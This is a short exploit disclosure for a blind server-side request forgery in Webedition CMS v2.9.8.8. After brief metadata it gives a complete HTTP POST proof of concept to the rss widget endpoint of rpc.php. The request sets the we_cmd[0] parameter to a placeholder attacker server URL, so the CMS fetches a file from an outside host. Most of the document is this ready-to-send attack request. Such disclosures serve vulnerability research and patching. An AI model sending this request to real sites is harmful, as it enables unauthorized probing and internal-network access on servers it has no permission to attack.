Exploit Title: Webedition CMS v2.9.8.8 - Blind SSRF
Application: Webedition CMS
Version: v2.9.8.8   
Bugs:  Blind SSRF
Technology: PHP
Vendor URL: https://www.webedition.org/
Software Link: https://download.webedition.org/releases/OnlineInstaller.tgz?p=1
Date of found: 07.09.2023
Author: Mirabbas Ağalarov
Tested on: Linux 
2. Technical Details & POC
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write https://youserver/test.xml to we_cmd[0] parameter
poc request
POST /webEdition/rpc.php?cmd=widgetGetRss&mod=rss HTTP/1.1
Host: localhost
Content-Length: 141
sec-ch-ua: 
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/webEdition/index.php?we_cmd[0]=startWE
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: treewidth_main=300; WESESSION=41a9164e60666254199b3ea1cd3d2e0ad969c379; cookie=yep; treewidth_main=300
Connection: close
we_cmd[0]=https://YOU-SERVER/test.xml&we_cmd[1]=111000&we_cmd[2]=0&we_cmd[3]=110000&we_cmd[4]=&we_cmd[5]=m_3